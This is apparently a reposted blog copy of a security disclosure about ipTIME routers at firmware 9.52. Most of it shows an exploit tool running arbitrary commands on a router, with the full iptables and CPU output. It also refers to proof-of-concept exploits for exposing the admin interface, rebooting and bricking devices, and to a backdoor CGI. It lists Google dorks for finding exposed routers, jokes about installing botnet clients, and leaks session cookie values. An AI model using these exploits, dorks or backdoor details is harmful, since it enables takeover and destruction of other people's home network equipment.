Cookie: efm_session_id=iNYV3r097DPbMDWu
Cookie: efm_session_id=iNYV3r097DPbMDWu
Cookie: efm_session_id=i3HJh4V15YLkf2l2
Cookie: efm_session_id=i3HJh4V15YLkf2l2
Cookie: efm_session_id=i3HJh4V15YLkf2l2
Cookie: efm_session_id=iNYV3r097DPbMDWu
Cookie: efm_session_id=iNYV3r097DPbMDWu
Cookie: efm_session_id=iNYV3r097DPbMDWu

Default firewall rules:

An online JavaScript POC is available here. - (exploit for version 9.52)

Using CLI:

kali# ./iptime.carnage.l2.v9.52 192.168.0.1 iptables -nL

Chain INPUT (policy DROP)
target     prot opt source               destination
DROP       47   --  0.0.0.0/0            0.0.0.0/0
DROP       tcp  --  0.0.0.0/0            0.0.0.0/0          tcp dpt:1723
radius2g   all  --  0.0.0.0/0            0.0.0.0/0
ACCEPT     tcp  --  0.0.0.0/0            0.0.0.0/0          tcp spt:25
ACCEPT     tcp  --  0.0.0.0/0            0.0.0.0/0          tcp dpt:80
ACCEPT     icmp --  0.0.0.0/0            0.0.0.0/0
ACCEPT     udp  --  0.0.0.0/0            0.0.0.0/0          udp dpts:67:68
ACCEPT     udp  --  0.0.0.0/0            0.0.0.0/0          udp spt:53
ACCEPT     tcp  --  0.0.0.0/0            0.0.0.0/0          tcp spt:80
ACCEPT     udp  --  0.0.0.0/0            0.0.0.0/0          udp spt:36500
ACCEPT     udp  --  0.0.0.0/0            0.0.0.0/0          udp dpts:33434:33600
ACCEPT     icmp --  192.168.0.1          192.168.0.1        icmp type 8

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination
TCPMSS     tcp  --  0.0.0.0/0            0.0.0.0/0          tcp flags:0x06/0x02 TCPMSS clamp to PMTU
app_filter  all  --  0.0.0.0/0            0.0.0.0/0
app_forward  all  --  0.0.0.0/0            0.0.0.0/0

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination

Chain app_filter (1 references)
target     prot opt source               destination

Chain app_forward (1 references)
target     prot opt source               destination

Chain ext_accesslist (0 references)
target     prot opt source               destination
DROP       tcp  --  0.0.0.0/0            0.0.0.0/0          tcp dpt:80

Chain int_accesslist (0 references)
target     prot opt source               destination
RETURN     all  --  0.0.0.0/0            192.168.255.250
RETURN     all  --  0.0.0.0/0            192.168.255.1
DROP       tcp  --  0.0.0.0/0            0.0.0.0/0          tcp dpt:80

Chain plantynet (0 references)
target     prot opt source               destination
plantynet_free  all  --  0.0.0.0/0            0.0.0.0/0
QUEUE      tcp  --  0.0.0.0/0            0.0.0.0/0          multiport dports 80,8080

Chain plantynet_free (1 references)
target     prot opt source               destination

Chain radius2g (1 references)
target     prot opt source               destination

Chain upnp (0 references)
target     prot opt source               destination

Opening the management interface on the WAN:

An online JavaScript POC is available here. - (exploit for version 9.52)

Architecture:

An online JavaScript POC is available here. - (exploit for version 9.52)

Using CLI:

kali# ./iptime.carnage.l2.v9.52 192.168.0.1 cat /proc/cpuinfo

system type             : Philips Nino
processor               : 0
cpu model               : R3000 V0.0
BogoMIPS                : 399.76
wait instruction        : yes
microsecond timers      : no
tlb_entries             : 32
extra interrupt vector  : no
hardware watchpoint     : no
VCED exceptions         : not available
VCEI exceptions         : not available
ll emulations           : 0
sc emulations           : 0

Reboot the device:

An JavaScript online POC is available here. - (exploit for version 9.52)

Brick the device:

An online POC is available here. - (exploit for version 9.52)

By the way, d.cgi in /bin/ is an intentional backdoor from ipTIME.

Uploading and executing a botnet client is left as an exercise to the reader.

More fun from iptime products is coming ~~~

Follow me on Twitter @PierreKimSec.

Google Dork:

inurl:timepro.cgi
iptime.org ddns
inurl:iptime.org

published on 2015-07-01 00:00:00 by Pierre Kim <pierre.kim.sec@gmail.com>


'PENETRATION' 카테고리의 다른 글

DLL Injection - SetWindowsHookEx() 함수를 이용  (0) 2016.01.19
practicing with resources  (0) 2015.12.09
DDos document  (0) 2015.08.30
ck vip  (0) 2015.08.30
codegate 2015  (0) 2015.07.30
Posted by af334
이전버튼 1 이전버튼